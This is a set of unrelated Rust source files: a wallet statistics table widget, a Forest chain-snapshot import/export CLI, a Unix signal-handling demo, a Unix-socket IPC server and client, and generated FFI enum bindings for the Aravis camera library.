String::from(format!("{:.2}%", app.mwr_map.get(&app.selected_token).unwrap() * 100.0)),
];
let wallet_table = Table::new(vec![Row::new(wallet_table_text)])
.block(Block::default().title(format!("{} Statistics", app.selected_token)).borders(Borders::ALL))
.header(Row::new(vec!["# of Tokens", "Value in USD", "Money-Weighted Return"])
.style(Style::default()
.add_modifier(Modifier::BOLD)
.add_modifier(Modifier::UNDERLINED)))
.style(Style::default().fg(Color::White))
.widths(&[Constraint::Percentage(33), Constraint::Percentage(33), Constraint::Percentage(33)]);
f.render_widget(wallet_table, area);
}
|
mod logger;
use async_std::fs::File as AsyncFile;
use async_std::fs::File;
use async_std::io::BufReader;
use async_std::io::BufWriter as AsyncBufWriter;
use chain::ChainStore;
use fil_types::verifier::FullVerifier;
use forest_blocks::TipsetKeys;
use forest_car::CarReader;
use genesis::{import_chain, initialize_genesis};
use state_manager::StateManager;
use std::sync::Arc;
use structopt::StructOpt;
#[derive(Debug, StructOpt)]
#[structopt(
name = "forest_bench",
version = "0.0.1",
about = "Forest benchmarking utils",
author = "ChainSafe Systems <info@chainsafe.io>",
setting = structopt::clap::AppSettings::VersionlessSubcommands
)]
pub enum Cli {
#[structopt(name = "import", about = "import chain from snapshot and validate.")]
Import {
#[structopt(help = "Import path or url for car file")]
car: String,
#[structopt(short, long, help = "Data directory for chain data")]
data_dir: Option<String>,
#[structopt(
short,
long,
default_value = "0",
help = "Height to validate the chain from"
)]
height: i64,
#[structopt(short, long, help = "Skip loading full car file")]
skip_load: bool,
},
#[structopt(name = "export", about = "export chain data to car file")]
Export {
#[structopt(help = "Import car file to use for exporting at height")]
car: String,
#[structopt(help = "Height to export chain from")]
height: i64,
#[structopt(short, long, help = "File to export to")]
out: String,
#[structopt(short, long, help = "Data directory for chain data")]
data_dir: Option<String>,
#[structopt(
short,
long,
default_value = "900",
help = "Number of state roots to include"
)]
recent_roots: i64,
#[structopt(short, long, help = "Skip exporting old messages")]
skip_old_msgs: bool,
},
}
#[async_std::main]
async fn main() {
logger::setup_logger();
match Cli::from_args() {
Cli::Import {
car,
data_dir,
height,
skip_load,
} => {
let db = {
let dir = data_dir
.as_ref()
.map(|s| s.as_str())
// TODO switch to home dir
.unwrap_or("data");
let db = forest_db::rocks::RocksDb::open(format!("{}{}", dir, "/db")).unwrap();
Arc::new(db)
};
// Initialize StateManager
let chain_store = Arc::new(ChainStore::new(Arc::clone(&db)));
let state_manager = Arc::new(StateManager::new(Arc::clone(&chain_store)));
// Read default Genesis into state (needed for validation)
if !skip_load {
initialize_genesis(None, &state_manager).await.unwrap();
}
// Sync from snapshot
import_chain::<FullVerifier, _>(&state_manager, &car, Some(height), skip_load)
.await
.unwrap();
}
Cli::Export {
car,
out,
data_dir,
height,
recent_roots,
skip_old_msgs,
} => {
let db = {
let dir = data_dir
.as_ref()
.map(|s| s.as_str())
// TODO switch to home dir
.unwrap_or("data");
let db = forest_db::rocks::RocksDb::open(format!("{}{}", dir, "/db")).unwrap();
Arc::new(db)
};
let chain_store = Arc::new(ChainStore::new(Arc::clone(&db)));
let file = File::open(car)
.await
.expect("Snapshot file path not found!");
let file_reader = BufReader::new(file);
let cr = CarReader::new(file_reader).await.unwrap();
let mut ts = chain_store
.tipset_from_keys(&TipsetKeys::new(cr.header.roots))
.await
.unwrap();
while ts.epoch() > height {
ts = chain_store.tipset_from_keys(ts.parents()).await.unwrap();
}
let file = AsyncFile::create(out)
.await
.expect("Snapshot file path not found!");
let writer = AsyncBufWriter::new(file);
chain_store
.export(&ts, recent_roots, skip_old_msgs, writer)
.await
.unwrap();
}
}
}
|
use nix::sys::signal::sigaction;
use nix::sys::signal::sigprocmask;
use nix::sys::signal::Signal;
use nix::sys::signal::SigAction;
use nix::sys::signal::SigHandler;
use libc;
use nix::sys::signal::SaFlags;
use nix::sys::signal::SigSet;
use std::thread::sleep;
use std::time::Duration;
use nix::sys::signal::SigmaskHow;
use libc::sigsuspend;
use libc::sigpending;
use std::mem;
use std::mem::MaybeUninit;
use libc::sigemptyset;
use libc::sigaddset;
extern "C"
fn handler(sig: libc::c_int) {
println!("I got signal {}", sig);
}
fn main() {
let mut mask_old = SigSet::empty();
//获取mask
sigprocmask(SigmaskHow::SIG_BLOCK, None, Some(&mut mask_old));
println!("mask_old = {:?}", mask_old);
unsafe {
//获取pending的signal
let mut sigset_pending_raw: libc::sigset_t = MaybeUninit::uninit().assume_init();
sigpending(&mut sigset_pending_raw);
let int_is_pending = libc::sigismember(&sigset_pending_raw, libc::SIGINT);
println!("int is pending = {}", int_is_pending);
//捕获libc::SIGINT并处理
let handler = SigHandler::Handler(handler);
let action = SigAction::new(handler, SaFlags::SA_RESETHAND, SigSet::empty());
let action_old = sigaction(Signal::SIGINT, &action);
//获取到libc::SIGINT前挂起
// let mut sig_suspend: libc::sigset_t = MaybeUninit::uninit().assume_init();
// sigemptyset(&mut sig_suspend);
// sigaddset(&mut sig_suspend, libc::SIGINT);
// sigsuspend(&sig_suspend);
}
loop {
println!("hello world!");
sleep(Duration::from_secs(1));
}
} |
use serde::{Serialize, Deserialize, de::DeserializeOwned};
use parse::{Value, parse_value};
use anyhow::{anyhow, Context, Result};
use clap::{ArgMatches};
use std::io::{Read, Write};
use crate::parse;
use std::thread;
use std::sync::{
atomic::{AtomicUsize, Ordering},
Arc
};
use tokio::sync::broadcast;
use tokio::sync::broadcast::{Sender, Receiver};
use tokio::net::UnixListener;
use tokio::net::UnixStream;
use tokio::io::AsyncWriteExt;
use tokio::io::AsyncReadExt;
use tokio::io::BufReader;
use tokio::io::AsyncBufReadExt;
use sqlx::sqlite::SqlitePool;
use sqlx::Executor;
use sqlx::pool::PoolConnection;
use sqlx::SqliteConnection;
use sqlx::Sqlite;
use sqlx::Pool;
#[derive(Serialize, Deserialize)]
enum CliCommand {
GetStatus,
Stop,
DatabaseTest,
}
#[derive(Serialize, Deserialize)]
enum CliResponse {
Status,
DatabaseTestResponse(u128),
StoppingServer,
}
async fn send_json(v: impl Serialize, stream: &mut UnixStream) -> Result<()> {
let serialized = serde_json::to_string(&v)?;
stream.write(serialized.as_bytes()).await?;
stream.write_all(b"\n").await?;
Ok(())
}
async fn get_json<'a, T: DeserializeOwned>(stream: &mut UnixStream) -> Result<T> {
let mut data = BufReader::with_capacity(512, stream);
let mut msg = String::new();
data.read_line(&mut msg).await?;
let res = serde_json::from_str(&msg)?;
Ok(res)
}
async fn receive_command(mut stream: UnixStream, db: &Arc<Pool<Sqlite>>, shutdown_writer: &Sender<()>) {
let query = get_json(&mut stream).await;
if query.is_ok() {
let query = query.unwrap();
match query {
CliCommand::GetStatus => {
match send_json(CliResponse::Status, &mut stream).await {
Ok(_) => info!("status request handled"),
Err(_) => error!("error handling status command")
}
}
CliCommand::Stop => {
match send_json(CliResponse::StoppingServer, &mut stream).await {
Ok(_) => info!("recieved stop command"),
Err(_) => error!("error handling status command")
}
shutdown_writer.send(()).ok();
}
// CliCommand::DatabaseTest => {
// let t1 = SystemTime::now();
//
// for n in 0i64..10000i64 {
// sqlx::query(
// "insert into accessTokens (key, userId) VALUES (?1, ?2)"
// ).bind("foo").bind(0i64).execute(&**db).await.unwrap();
// }
//
// let elapsed: u128 = t1.elapsed().unwrap().as_millis();
//
// match send_json(CliResponse::DatabaseTestResponse(elapsed), &stream) {
// Ok(_) => info!("database benchmark performed"),
// Err(_) => error!("error handling test command")
// }
// }
_ => info!("unhandled command")
}
}
}
pub async fn client_mode(query: ArgMatches<'_>, path: &str) {
let subcommand = query.subcommand.unwrap();
// some dev commands don't require a socket or server
match subcommand.name.as_str() {
"parse" => {
let v: &str = subcommand.matches.value_of("input").unwrap();
let p = parse_value(v);
match p {
Ok(r) => println!("Value: {:?}", r.1),
Err(e) => println!("{}", e),
}
return ();
}
_ => { }
}
let stream = UnixStream::connect(path).await;
if stream.is_err() {
println!("[Error] No active server found.");
std::process::exit(1);
}
let mut stream = stream.unwrap();
match subcommand.name.as_str() {
"status" => {
send_json(CliCommand::GetStatus, &mut stream).await.unwrap();
let r: CliResponse = get_json(&mut stream).await.unwrap();
println!("Server Status: Active!");
}
"stop" => {
send_json(CliCommand::Stop, &mut stream).await.unwrap();
let r: CliResponse = get_json(&mut stream).await.unwrap();
println!("Stopping Server!");
}
// "test" => {
// send_json(CliCommand::DatabaseTest, &stream).unwrap();
// let r: CliResponse = get_json(&stream).unwrap();
// match r {
// CliResponse::DatabaseTestResponse(elapsed) => {
// println!("Database benchmark complete in: {} ms", elapsed);
// }
// _ => error!("oh no")
// }
// }
_ => error!("unrecognized subcommand")
}
}
pub async fn start_listener(shutdown_writer: Sender<()>, path: String, db: Arc<Pool<Sqlite>>) {
let mut shutdown_reader = shutdown_writer.subscribe();
match UnixListener::bind(path) {
Ok(listener) => {
info!("Unix Socket established");
loop {
tokio::select! {
_ = shutdown_reader.recv() => {
break;
}
connection = listener.accept() => {
match connection {
Ok((stream, _addr)) => {
receive_command(stream, &db, &shutdown_writer).await;
}
Err(err) => {
println!("IPC connection error: {}", err);
}
}
}
}
}
}
Err(err) => println!("Cannot start IPC {}", err),
}
}
|
// Generated by gir (https://github.com/gtk-rs/gir @ e8f82cf)
// from ../gir-files (@ 3cba654+)
// DO NOT EDIT
#![allow(non_camel_case_types, non_upper_case_globals, non_snake_case)]
#![allow(
clippy::approx_constant,
clippy::type_complexity,
clippy::unreadable_literal,
clippy::upper_case_acronyms
)]
#![cfg_attr(feature = "dox", feature(doc_cfg))]
use gio_sys as gio;
use glib_sys as glib;
use gobject_sys as gobject;
#[allow(unused_imports)]
use libc::{
c_char, c_double, c_float, c_int, c_long, c_short, c_uchar, c_uint, c_ulong, c_ushort, c_void,
intptr_t, size_t, ssize_t, time_t, uintptr_t, FILE,
};
#[allow(unused_imports)]
use glib::{gboolean, gconstpointer, gpointer, GType};
// Aliases
pub type ArvPixelFormat = u32;
// Enums
pub type ArvAccessCheckPolicy = c_int;
pub const ARV_ACCESS_CHECK_POLICY_DISABLE: ArvAccessCheckPolicy = 0;
pub const ARV_ACCESS_CHECK_POLICY_ENABLE: ArvAccessCheckPolicy = 1;
pub const ARV_ACCESS_CHECK_POLICY_DEFAULT: ArvAccessCheckPolicy = 0;
pub type ArvAcquisitionMode = c_int;
pub const ARV_ACQUISITION_MODE_CONTINUOUS: ArvAcquisitionMode = 0;
pub const ARV_ACQUISITION_MODE_SINGLE_FRAME: ArvAcquisitionMode = 1;
pub const ARV_ACQUISITION_MODE_MULTI_FRAME: ArvAcquisitionMode = 2;
pub type ArvAuto = c_int;
pub const ARV_AUTO_OFF: ArvAuto = 0;
pub const ARV_AUTO_ONCE: ArvAuto = 1;
pub const ARV_AUTO_CONTINUOUS: ArvAuto = 2;
pub type ArvBufferPayloadType = c_int;
pub const ARV_BUFFER_PAYLOAD_TYPE_UNKNOWN: ArvBufferPayloadType = -1;
pub const ARV_BUFFER_PAYLOAD_TYPE_IMAGE: ArvBufferPayloadType = 1;
pub const ARV_BUFFER_PAYLOAD_TYPE_RAWDATA: ArvBufferPayloadType = 2;
pub const ARV_BUFFER_PAYLOAD_TYPE_FILE: ArvBufferPayloadType = 3;
pub const ARV_BUFFER_PAYLOAD_TYPE_CHUNK_DATA: ArvBufferPayloadType = 4;
pub const ARV_BUFFER_PAYLOAD_TYPE_EXTENDED_CHUNK_DATA: ArvBufferPayloadType = 5;
pub const ARV_BUFFER_PAYLOAD_TYPE_JPEG: ArvBufferPayloadType = 6;
pub const ARV_BUFFER_PAYLOAD_TYPE_JPEG2000: ArvBufferPayloadType = 7;
pub const ARV_BUFFER_PAYLOAD_TYPE_H264: ArvBufferPayloadType = 8;
pub const ARV_BUFFER_PAYLOAD_TYPE_MULTIZONE_IMAGE: ArvBufferPayloadType = 9;
pub const ARV_BUFFER_PAYLOAD_TYPE_IMAGE_EXTENDED_CHUNK: ArvBufferPayloadType = 16385;
pub type ArvBufferStatus = c_int;
pub const ARV_BUFFER_STATUS_UNKNOWN: ArvBufferStatus = -1;
pub const ARV_BUFFER_STATUS_SUCCESS: ArvBufferStatus = 0;
pub const ARV_BUFFER_STATUS_CLEARED: ArvBufferStatus = 1;
pub const ARV_BUFFER_STATUS_TIMEOUT: ArvBufferStatus = 2;
pub const ARV_BUFFER_STATUS_MISSING_PACKETS: ArvBufferStatus = 3;
pub const ARV_BUFFER_STATUS_WRONG_PACKET_ID: ArvBufferStatus = 4;
pub const ARV_BUFFER_STATUS_SIZE_MISMATCH: ArvBufferStatus = 5;
pub const ARV_BUFFER_STATUS_FILLING: ArvBufferStatus = 6;
pub const ARV_BUFFER_STATUS_ABORTED: ArvBufferStatus = 7;
pub type ArvChunkParserError = c_int;
pub const ARV_CHUNK_PARSER_ERROR_INVALID_FEATURE_TYPE: ArvChunkParserError = 0;
pub const ARV_CHUNK_PARSER_ERROR_BUFFER_NOT_FOUND: ArvChunkParserError = 1;
pub const ARV_CHUNK_PARSER_ERROR_CHUNK_NOT_FOUND: ArvChunkParserError = 2;
pub type ArvDeviceError = c_int;
pub const ARV_DEVICE_ERROR_WRONG_FEATURE: ArvDeviceError = 0;
pub const ARV_DEVICE_ERROR_FEATURE_NOT_FOUND: ArvDeviceError = 1;
pub const ARV_DEVICE_ERROR_NOT_CONNECTED: ArvDeviceError = 2;
pub const ARV_DEVICE_ERROR_PROTOCOL_ERROR: ArvDeviceError = 3;
pub const ARV_DEVICE_ERROR_TRANSFER_ERROR: ArvDeviceError = 4;
pub const ARV_DEVICE_ERROR_TIMEOUT: ArvDeviceError = 5;
pub const ARV_DEVICE_ERROR_NOT_FOUND: ArvDeviceError = 6;
pub const ARV_DEVICE_ERROR_INVALID_PARAMETER: ArvDeviceError = 7;
pub const ARV_DEVICE_ERROR_GENICAM_NOT_FOUND: ArvDeviceError = 8;
pub const ARV_DEVICE_ERROR_NO_STREAM_CHANNEL: ArvDeviceError = 9;
pub const ARV_DEVICE_ERROR_NOT_CONTROLLER: ArvDeviceError = 10;
pub const ARV_DEVICE_ERROR_UNKNOWN: ArvDeviceError = 11;
pub type ArvDomNodeType = c_int;
pub const ARV_DOM_NODE_TYPE_ELEMENT_NODE: ArvDomNodeType = 1;
pub const ARV_DOM_NODE_TYPE_ATTRIBUTE_NODE: ArvDomNodeType = 2;
pub const ARV_DOM_NODE_TYPE_TEXT_NODE: ArvDomNodeType = 3;
pub const ARV_DOM_NODE_TYPE_CDATA_SECTION_NODE: ArvDomNodeType = 4;
pub const ARV_DOM_NODE_TYPE_ENTITY_REFERENCE_NODE: ArvDomNodeType = 5;
pub const ARV_DOM_NODE_TYPE_ENTITY_NODE: ArvDomNodeType = 6;
pub const ARV_DOM_NODE_TYPE_PROCESSING_INSTRUCTION_NODE: ArvDomNodeType = 7;
pub const ARV_DOM_NODE_TYPE_COMMENT_NODE: ArvDomNodeType = 8;
pub const ARV_DOM_NODE_TYPE_DOCUMENT_NODE: ArvDomNodeType = 9;
pub const ARV_DOM_NODE_TYPE_DOCUMENT_TYPE_NODE: ArvDomNodeType = 10;
pub const ARV_DOM_NODE_TYPE_DOCUMENT_FRAGMENT_NODE: ArvDomNodeType = 11;
pub const ARV_DOM_NODE_TYPE_NOTATION_NODE: ArvDomNodeType = 12;
pub type ArvExposureMode = c_int;
pub const ARV_EXPOSURE_MODE_OFF: ArvExposureMode = 0;
pub const ARV_EXPOSURE_MODE_TIMED: ArvExposureMode = 1;
pub const ARV_EXPOSURE_MODE_TRIGGER_WIDTH: ArvExposureMode = 2;
pub const ARV_EXPOSURE_MODE_TRIGGER_CONTROLLED: ArvExposureMode = 3;
pub type ArvGcAccessMode = c_int;
pub const ARV_GC_ACCESS_MODE_UNDEFINED: ArvGcAccessMode = -1;
pub const ARV_GC_ACCESS_MODE_RO: ArvGcAccessMode = 0;
pub const ARV_GC_ACCESS_MODE_WO: ArvGcAccessMode = 1;
pub const ARV_GC_ACCESS_MODE_RW: ArvGcAccessMode = 2;
pub type ArvGcCachable = c_int;
pub const ARV_GC_CACHABLE_UNDEFINED: ArvGcCachable = -1;
pub const ARV_GC_CACHABLE_NO_CACHE: ArvGcCachable = 0;
pub const ARV_GC_CACHABLE_WRITE_THROUGH: ArvGcCachable = 1;
pub const ARV_GC_CACHABLE_WRITE_AROUND: ArvGcCachable = 2;
pub type ArvGcDisplayNotation = c_int;
pub const ARV_GC_DISPLAY_NOTATION_UNDEFINED: ArvGcDisplayNotation = -1;
pub const ARV_GC_DISPLAY_NOTATION_AUTOMATIC: ArvGcDisplayNotation = 0;
pub const ARV_GC_DISPLAY_NOTATION_FIXED: ArvGcDisplayNotation = 1;
pub const ARV_GC_DISPLAY_NOTATION_SCIENTIFIC: ArvGcDisplayNotation = 2;
pub type ArvGcError = c_int;
pub const ARV_GC_ERROR_PROPERTY_NOT_DEFINED: ArvGcError = 0;
pub const ARV_GC_ERROR_PVALUE_NOT_DEFINED: ArvGcError = 1;
pub const ARV_GC_ERROR_INVALID_PVALUE: ArvGcError = 2;
pub const ARV_GC_ERROR_EMPTY_ENUMERATION: ArvGcError = 3;
pub const ARV_GC_ERROR_OUT_OF_RANGE: ArvGcError = 4;
pub const ARV_GC_ERROR_NO_DEVICE_SET: ArvGcError = 5;
pub const ARV_GC_ERROR_NO_EVENT_IMPLEMENTATION: ArvGcError = 6;
pub const ARV_GC_ERROR_NODE_NOT_FOUND: ArvGcError = 7;
pub const ARV_GC_ERROR_ENUM_ENTRY_NOT_FOUND: ArvGcError = 8;
pub const ARV_GC_ERROR_INVALID_LENGTH: ArvGcError = 9;
pub const ARV_GC_ERROR_READ_ONLY: ArvGcError = 10;
pub const ARV_GC_ERROR_SET_FROM_STRING_UNDEFINED: ArvGcError = 11;
pub const ARV_GC_ERROR_GET_AS_STRING_UNDEFINED: ArvGcError = 12;
pub const ARV_GC_ERROR_INVALID_BIT_RANGE: ArvGcError = 13;
pub type ArvGcIsLinear = c_int;
pub const ARV_GC_IS_LINEAR_UNDEFINED: ArvGcIsLinear = -1;
pub const ARV_GC_IS_LINEAR_NO: ArvGcIsLinear = 0;
pub const ARV_GC_IS_LINEAR_YES: ArvGcIsLinear = 1;
pub type ArvGcNameSpace = c_int;
pub const ARV_GC_NAME_SPACE_UNDEFINED: ArvGcNameSpace = -1;
pub const ARV_GC_NAME_SPACE_STANDARD: ArvGcNameSpace = 0;
pub const ARV_GC_NAME_SPACE_CUSTOM: ArvGcNameSpace = 1;
pub type ArvGcPropertyNodeType = c_int;
pub const ARV_GC_PROPERTY_NODE_TYPE_UNKNOWN: ArvGcPropertyNodeType = 0;
pub const ARV_GC_PROPERTY_NODE_TYPE_VALUE: ArvGcPropertyNodeType = 1;
pub const ARV_GC_PROPERTY_NODE_TYPE_ADDRESS: ArvGcPropertyNodeType = 2;
pub const ARV_GC_PROPERTY_NODE_TYPE_DESCRIPTION: ArvGcPropertyNodeType = 3;
pub const ARV_GC_PROPERTY_NODE_TYPE_VISIBILITY: ArvGcPropertyNodeType = 4;
pub const ARV_GC_PROPERTY_NODE_TYPE_TOOLTIP: ArvGcPropertyNodeType = 5;
pub const ARV_GC_PROPERTY_NODE_TYPE_DISPLAY_NAME: ArvGcPropertyNodeType = 6;
pub const ARV_GC_PROPERTY_NODE_TYPE_MINIMUM: ArvGcPropertyNodeType = 7;
pub const ARV_GC_PROPERTY_NODE_TYPE_MAXIMUM: ArvGcPropertyNodeType = 8;
pub const ARV_GC_PROPERTY_NODE_TYPE_SLOPE: ArvGcPropertyNodeType = 9;
pub const ARV_GC_PROPERTY_NODE_TYPE_INCREMENT: ArvGcPropertyNodeType = 10;
pub const ARV_GC_PROPERTY_NODE_TYPE_IS_LINEAR: ArvGcPropertyNodeType = 11;
pub const ARV_GC_PROPERTY_NODE_TYPE_REPRESENTATION: ArvGcPropertyNodeType = 12;
pub const ARV_GC_PROPERTY_NODE_TYPE_DISPLAY_NOTATION: ArvGcPropertyNodeType = 13;
pub const ARV_GC_PROPERTY_NODE_TYPE_DISPLAY_PRECISION: ArvGcPropertyNodeType = 14;
pub const ARV_GC_PROPERTY_NODE_TYPE_UNIT: ArvGcPropertyNodeType = 15;
pub const ARV_GC_PROPERTY_NODE_TYPE_ON_VALUE: ArvGcPropertyNodeType = 16;
pub const ARV_GC_PROPERTY_NODE_TYPE_OFF_VALUE: ArvGcPropertyNodeType = 17;
pub const ARV_GC_PROPERTY_NODE_TYPE_LENGTH: ArvGcPropertyNodeType = 18;
pub const ARV_GC_PROPERTY_NODE_TYPE_FORMULA: ArvGcPropertyNodeType = 19;
pub const ARV_GC_PROPERTY_NODE_TYPE_FORMULA_TO: ArvGcPropertyNodeType = 20;
pub const ARV_GC_PROPERTY_NODE_TYPE_FORMULA_FROM: ArvGcPropertyNodeType = 21;
pub const ARV_GC_PROPERTY_NODE_TYPE_EXPRESSION: ArvGcPropertyNodeType = 22;
pub const ARV_GC_PROPERTY_NODE_TYPE_CONSTANT: ArvGcPropertyNodeType = 23;
pub const ARV_GC_PROPERTY_NODE_TYPE_ACCESS_MODE: ArvGcPropertyNodeType = 24;
pub const ARV_GC_PROPERTY_NODE_TYPE_IMPOSED_ACCESS_MODE: ArvGcPropertyNodeType = 25;
pub const ARV_GC_PROPERTY_NODE_TYPE_CACHABLE: ArvGcPropertyNodeType = 26;
pub const ARV_GC_PROPERTY_NODE_TYPE_POLLING_TIME: ArvGcPropertyNodeType = 27;
pub const ARV_GC_PROPERTY_NODE_TYPE_ENDIANNESS: ArvGcPropertyNodeType = 28;
pub const ARV_GC_PROPERTY_NODE_TYPE_SIGN: ArvGcPropertyNodeType = 29;
pub const ARV_GC_PROPERTY_NODE_TYPE_LSB: ArvGcPropertyNodeType = 30;
pub const ARV_GC_PROPERTY_NODE_TYPE_MSB: ArvGcPropertyNodeType = 31;
pub const ARV_GC_PROPERTY_NODE_TYPE_BIT: ArvGcPropertyNodeType = 32;
pub const ARV_GC_PROPERTY_NODE_TYPE_COMMAND_VALUE: ArvGcPropertyNodeType = 33;
pub const ARV_GC_PROPERTY_NODE_TYPE_CHUNK_ID: ArvGcPropertyNodeType = 34;
pub const ARV_GC_PROPERTY_NODE_TYPE_EVENT_ID: ArvGcPropertyNodeType = 35;
pub const ARV_GC_PROPERTY_NODE_TYPE_VALUE_INDEXED: ArvGcPropertyNodeType = 36;
pub const ARV_GC_PROPERTY_NODE_TYPE_VALUE_DEFAULT: ArvGcPropertyNodeType = 37;
pub const ARV_GC_PROPERTY_NODE_TYPE_STREAMABLE: ArvGcPropertyNodeType = 38;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_UNKNONW: ArvGcPropertyNodeType = 1000;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_FEATURE: ArvGcPropertyNodeType = 1001;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_VALUE: ArvGcPropertyNodeType = 1002;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_ADDRESS: ArvGcPropertyNodeType = 1003;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_IS_IMPLEMENTED: ArvGcPropertyNodeType = 1004;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_IS_LOCKED: ArvGcPropertyNodeType = 1005;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_IS_AVAILABLE: ArvGcPropertyNodeType = 1006;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_SELECTED: ArvGcPropertyNodeType = 1007;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_MINIMUM: ArvGcPropertyNodeType = 1008;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_MAXIMUM: ArvGcPropertyNodeType = 1009;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_INCREMENT: ArvGcPropertyNodeType = 1010;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_INDEX: ArvGcPropertyNodeType = 1011;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_LENGTH: ArvGcPropertyNodeType = 1012;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_PORT: ArvGcPropertyNodeType = 1013;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_VARIABLE: ArvGcPropertyNodeType = 1014;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_INVALIDATOR: ArvGcPropertyNodeType = 1015;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_COMMAND_VALUE: ArvGcPropertyNodeType = 1016;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_VALUE_INDEXED: ArvGcPropertyNodeType = 1017;
pub const ARV_GC_PROPERTY_NODE_TYPE_P_VALUE_DEFAULT: ArvGcPropertyNodeType = 1018;
pub type ArvGcRepresentation = c_int;
pub const ARV_GC_REPRESENTATION_UNDEFINED: ArvGcRepresentation = -1;
pub const ARV_GC_REPRESENTATION_LINEAR: ArvGcRepresentation = 0;
pub const ARV_GC_REPRESENTATION_LOGARITHMIC: ArvGcRepresentation = 1;
pub const ARV_GC_REPRESENTATION_BOOLEAN: ArvGcRepresentation = 2;
pub const ARV_GC_REPRESENTATION_PURE_NUMBER: ArvGcRepresentation = 3;
pub const ARV_GC_REPRESENTATION_HEX_NUMBER: ArvGcRepresentation = 4;
pub const ARV_GC_REPRESENTATION_IPV4_ADDRESS: ArvGcRepresentation = 5;
pub const ARV_GC_REPRESENTATION_MAC_ADDRESS: ArvGcRepresentation = 6;
pub type ArvGcSignedness = c_int;
pub const ARV_GC_SIGNEDNESS_UNDEFINED: ArvGcSignedness = -1;
pub const ARV_GC_SIGNEDNESS_SIGNED: ArvGcSignedness = 0;
pub const ARV_GC_SIGNEDNESS_UNSIGNED: ArvGcSignedness = 1;
pub type ArvGcStreamable = c_int;
pub const ARV_GC_STREAMABLE_UNDEFINED: ArvGcStreamable = -1;
pub const ARV_GC_STREAMABLE_NO: ArvGcStreamable = 0;
pub const ARV_GC_STREAMABLE_YES: ArvGcStreamable = 1;
pub type ArvGcVisibility = c_int;
pub const ARV_GC_VISIBILITY_UNDEFINED: ArvGcVisibility = -1;
pub const ARV_GC_VISIBILITY_INVISIBLE: ArvGcVisibility = 0;
pub const ARV_GC_VISIBILITY_GURU: ArvGcVisibility = 1;
pub const ARV_GC_VISIBILITY_EXPERT: ArvGcVisibility = 2;
pub const ARV_GC_VISIBILITY_BEGINNER: ArvGcVisibility = 3;
pub type ArvGvIpConfigurationMode = c_int;
pub const ARV_GV_IP_CONFIGURATION_MODE_NONE: ArvGvIpConfigurationMode = 0;
pub const ARV_GV_IP_CONFIGURATION_MODE_PERSISTENT_IP: ArvGvIpConfigurationMode = 1;
pub const ARV_GV_IP_CONFIGURATION_MODE_DHCP: ArvGvIpConfigurationMode = 2;
pub const ARV_GV_IP_CONFIGURATION_MODE_LLA: ArvGvIpConfigurationMode = 3;
pub const ARV_GV_IP_CONFIGURATION_MODE_FORCE_IP: ArvGvIpConfigurationMode = 4;
pub type ArvGvPacketSizeAdjustment = c_int;
pub const ARV_GV_PACKET_SIZE_ADJUSTMENT_NEVER: ArvGvPacketSizeAdjustment = 0;
pub const ARV_GV_PACKET_SIZE_ADJUSTMENT_ON_FAILURE_ONCE: ArvGvPacketSizeAdjustment = 1;
pub const ARV_GV_PACKET_SIZE_ADJUSTMENT_ON_FAILURE: ArvGvPacketSizeAdjustment = 2;
pub const ARV_GV_PACKET_SIZE_ADJUSTMENT_ONCE: ArvGvPacketSizeAdjustment = 3;
pub const ARV_GV_PACKET_SIZE_ADJUSTMENT_ALWAYS: ArvGvPacketSizeAdjustment = 4;
pub const ARV_GV_PACKET_SIZE_ADJUSTMENT_DEFAULT: ArvGvPacketSizeAdjustment = 1;
pub type ArvGvStreamOption = c_int;
pub const ARV_GV_STREAM_OPTION_NONE: ArvGvStreamOption = 0;
pub const ARV_GV_STREAM_OPTION_PACKET_SOCKET_DISABLED: ArvGvStreamOption = 1;
pub type ArvGvStreamPacketResend = c_int;
pub const ARV_GV_STREAM_PACKET_RESEND_NEVER: ArvGvStreamPacketResend = 0;
pub const ARV_GV_STREAM_PACKET_RESEND_ALWAYS: ArvGvStreamPacketResend = 1;
pub type ArvGvStreamSocketBuffer = c_int;
pub const ARV_GV_STREAM_SOCKET_BUFFER_FIXED: ArvGvStreamSocketBuffer = 0;
pub const ARV_GV_STREAM_SOCKET_BUFFER_AUTO: ArvGvStreamSocketBuffer = 1;
pub type ArvRangeCheckPolicy = c_int;
pub const ARV_RANGE_CHECK_POLICY_DISABLE: ArvRangeCheckPolicy = 0;
pub const ARV_RANGE_CHECK_POLICY_ENABLE: ArvRangeCheckPolicy = 1;
pub const ARV_RANGE_CHECK_POLICY_DEBUG: ArvRangeCheckPolicy = 2;
pub const ARV_RANGE_CHECK_POLICY_DEFAULT: ArvRangeCheckPolicy = 0;
pub type ArvRegisterCachePolicy = c_int;
pub const ARV_REGISTER_CACHE_POLICY_DISABLE: ArvRegisterCachePolicy = 0;
pub const ARV_REGISTER_CACHE_POLICY_ENABLE: ArvRegisterCachePolicy = 1;
pub const ARV_REGISTER_CACHE_POLICY_DEBUG: ArvRegisterCachePolicy = 2;
pub const ARV_REGISTER_CACHE_POLICY_DEFAULT: ArvRegisterCachePolicy = 0;
pub type ArvStreamCallbackType = c_int;
pub const ARV_STREAM_CALLBACK_TYPE_INIT: ArvStreamCallbackType = 0;
pub const ARV_STREAM_CALLBACK_TYPE_EXIT: ArvStreamCallbackType = 1;
pub const ARV_STREAM_CALLBACK_TYPE_START_BUFFER: ArvStreamCallbackType = 2;
pub const ARV_STREAM_CALLBACK_TYPE_BUFFER_DONE: ArvStreamCallbackType = 3;
pub type ArvUvUsbMode = c_int;
pub const ARV_UV_USB_MODE_SYNC: ArvUvUsbMode = 0;
pub const ARV_UV_USB_MODE_ASYNC: ArvUvUsbMode = 1;
pub const ARV_UV_USB_MODE_DEFAULT: ArvUvUsbMode = 0;
